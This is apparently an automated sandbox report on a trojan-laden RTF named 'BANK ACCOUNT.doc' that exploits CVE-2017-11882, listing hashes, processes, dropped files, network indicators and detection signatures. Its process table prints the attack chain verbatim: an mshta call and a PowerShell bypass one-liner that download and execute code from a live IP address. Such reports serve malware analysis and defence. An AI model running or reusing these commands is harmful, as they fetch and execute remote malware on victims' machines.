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File name:

BANK ACCOUNT.doc

Full analysis: https://app.any.run/tasks/c887bac3-9e55-46f9-b98b-e6ded6bdb409
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Analysis date: October 14, 2019, 07:16:30
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
generated-doc
exploit
CVE-2017-11882
trojan
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

7B44F77C9CDF1F362E28D3D84E9F51E3

SHA1:

641BFEE1D57EE3FCD329F4B95790423AB36FC44F

SHA256:

BECFB535765B8016D2E70D3CBA8BEAEBFD638ECE34381E13503A03A7C94E6070

SSDEEP:

768:qxrBqbeW6HHkXzD7p2og7PPPPPhPPPPPgPPPPP6WzoR8oVojrc9YU:qqbBoWPcKU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3960)
    • Application was dropped or rewritten from another process

      • eoka.exe (PID: 3060)
      • eoka.exe (PID: 3288)
      • eoka.exe (PID: 3408)
      • eoka.exe (PID: 3400)
      • eoka.exe (PID: 3504)
      • eoka.exe (PID: 3228)
      • eoka.exe (PID: 3792)
      • eoka.exe (PID: 3908)
      • eoka.exe (PID: 820)
      • eoka.exe (PID: 3340)
      • eoka.exe (PID: 2548)
      • eoka.exe (PID: 3928)
      • eoka.exe (PID: 1952)
      • eoka.exe (PID: 1740)
      • eoka.exe (PID: 2112)
      • eoka.exe (PID: 496)
      • eoka.exe (PID: 2180)
      • eoka.exe (PID: 600)
      • eoka.exe (PID: 2416)
      • eoka.exe (PID: 2588)
      • eoka.exe (PID: 3096)
      • eoka.exe (PID: 444)
      • eoka.exe (PID: 2580)
      • eoka.exe (PID: 912)
      • eoka.exe (PID: 2488)
      • eoka.exe (PID: 3364)
      • eoka.exe (PID: 2116)
      • eoka.exe (PID: 3264)
      • eoka.exe (PID: 2484)
      • eoka.exe (PID: 3016)
      • eoka.exe (PID: 3872)
      • eoka.exe (PID: 3972)
      • eoka.exe (PID: 4056)
      • eoka.exe (PID: 2092)
      • eoka.exe (PID: 1188)
      • eoka.exe (PID: 1520)
      • eoka.exe (PID: 3732)
      • eoka.exe (PID: 2800)
      • eoka.exe (PID: 640)
      • eoka.exe (PID: 2232)
      • eoka.exe (PID: 1784)
      • eoka.exe (PID: 736)
      • eoka.exe (PID: 1048)
      • eoka.exe (PID: 1888)
      • eoka.exe (PID: 2608)
      • eoka.exe (PID: 2152)
      • eoka.exe (PID: 952)
      • eoka.exe (PID: 2744)
      • eoka.exe (PID: 236)
      • eoka.exe (PID: 3080)
      • eoka.exe (PID: 2604)
      • eoka.exe (PID: 4052)
      • eoka.exe (PID: 1932)
      • eoka.exe (PID: 3832)
      • eoka.exe (PID: 3084)
      • eoka.exe (PID: 3448)
      • eoka.exe (PID: 2764)
      • eoka.exe (PID: 1596)
      • eoka.exe (PID: 1852)
      • eoka.exe (PID: 2200)
      • eoka.exe (PID: 2620)
      • eoka.exe (PID: 2188)
      • eoka.exe (PID: 332)
      • eoka.exe (PID: 3936)
      • eoka.exe (PID: 3116)
      • eoka.exe (PID: 3000)
      • eoka.exe (PID: 3752)
      • eoka.exe (PID: 3844)
      • eoka.exe (PID: 3736)
      • eoka.exe (PID: 2132)
      • eoka.exe (PID: 2888)
      • eoka.exe (PID: 2868)
      • eoka.exe (PID: 2088)
      • eoka.exe (PID: 2500)
      • eoka.exe (PID: 2692)
      • eoka.exe (PID: 3916)
      • eoka.exe (PID: 3124)
      • eoka.exe (PID: 3392)
      • eoka.exe (PID: 2344)
      • eoka.exe (PID: 1792)
      • eoka.exe (PID: 2364)
      • eoka.exe (PID: 892)
      • eoka.exe (PID: 1328)
      • eoka.exe (PID: 1708)
      • eoka.exe (PID: 1212)
      • eoka.exe (PID: 272)
      • eoka.exe (PID: 1484)
      • eoka.exe (PID: 1316)
      • eoka.exe (PID: 4008)
      • eoka.exe (PID: 3880)
      • eoka.exe (PID: 3172)
      • eoka.exe (PID: 3580)
      • eoka.exe (PID: 4076)
      • eoka.exe (PID: 2412)
      • eoka.exe (PID: 2524)
      • eoka.exe (PID: 4072)
      • eoka.exe (PID: 2668)
      • eoka.exe (PID: 776)
      • eoka.exe (PID: 1728)
      • eoka.exe (PID: 2836)
      • eoka.exe (PID: 3224)
  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 3960)
    • Executed via WMI

      • powershell.exe (PID: 1712)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EQNEDT32.EXE (PID: 3960)
    • PowerShell script executed

      • powershell.exe (PID: 1712)
    • Creates files in the user directory

      • powershell.exe (PID: 1712)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1712)
    • Application launched itself

      • eoka.exe (PID: 3408)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2304)
    • Reads internet explorer settings

      • MsHTa.exe (PID: 2196)
    • Application was crashed

      • EQNEDT32.EXE (PID: 3960)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2304)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

InternalVersionNumber: 95
CharactersWithSpaces: -
Characters: -
Words: -
Pages: 1
TotalEditTime: -
RevisionNumber: 1
ModifyDate: 2019:10:07 21:04:00
CreateDate: 2019:10:07 21:04:00
LastModifiedBy: FireSecIT
Author: FireSecIT
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
143
Monitored processes
105
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs eqnedt32.exe mshta.exe powershell.exe eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs eoka.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2304"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\BANK ACCOUNT.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3960"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2196MsHTa http://103.99.2.65:1010/hta &AAAAAAAAA CC:\Windows\system32\MsHTa.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
1712powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://103.99.2.65:1010/get'));C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3408"C:\Users\Public\eoka.exe"C:\Users\Public\eoka.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3060"C:\Users\Public\eoka.exe"C:\Users\Public\eoka.exeeoka.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3228"C:\Users\Public\eoka.exe"C:\Users\Public\eoka.exeeoka.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3400"C:\Users\Public\eoka.exe"C:\Users\Public\eoka.exeeoka.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3504"C:\Users\Public\eoka.exe"C:\Users\Public\eoka.exeeoka.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3288"C:\Users\Public\eoka.exe"C:\Users\Public\eoka.exeeoka.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Total events
1 883
Read events
1 097
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
1
Unknown types
3

Dropped files

PID
Process
Filename
Type
2304WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA7D3.tmp.cvr
MD5:
SHA256:
1712powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HV0QLFIPF7C0GVUV3438.temp
MD5:
SHA256:
2304WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:8B378DCC62035BBABEF8B1C2A131A338
SHA256:7C1F83E56B3CF1632E1D1DDD8BFD13219F8133599041726FA2EA3FB98B22B275
2304WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$NK ACCOUNT.docpgc
MD5:9B7327853249B32D1F1ECACEF328ADFD
SHA256:2047278A025BE1574F0366D610C1D0C14F58263957323FFA8FBA94DF2F6F9E22
1712powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b83e.TMPbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
1712powershell.exeC:\Users\Public\eoka.exeexecutable
MD5:5755F9C576AB1E422BA5893034453672
SHA256:CA2FE1C21410B0F3E86D688C14A7A63FEA7D3A14B87BEFF229A1D0400CD0C696
1712powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2196MsHTa.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\hta[1]html
MD5:14F5A1C9F008081CFE576C3A15A48BED
SHA256:1C151D1A2D536D360672E3BBFD7767D272F0E55831F470ADC8E74CA55D007C73
2304WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FA038F0F.wmfwmf
MD5:A53FF3B2B74B0493CD2DD5351BCB2760
SHA256:AC5F55A119B8894F347A6E85328D4A1E7BA350E0D4EA98CE1D3B2F95FAECB5F2
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1712
powershell.exe
GET
200
103.99.2.65:1010
http://103.99.2.65:1010/get
VN
text
1.48 Mb
malicious
2196
MsHTa.exe
GET
200
103.99.2.65:1010
http://103.99.2.65:1010/hta
VN
html
2.43 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1712
powershell.exe
103.99.2.65:1010
VIETNAM POSTS AND TELECOMMUNICATIONS GROUP
VN
malicious
2196
MsHTa.exe
103.99.2.65:1010
VIETNAM POSTS AND TELECOMMUNICATIONS GROUP
VN
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
2196
MsHTa.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
1712
powershell.exe
A Network Trojan was detected
ET TROJAN Windows executable base64 encoded
1712
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Script/Oneeva.A!ml
1712
powershell.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable base64 Payload
2 ETPRO signatures available at the full report
No debug info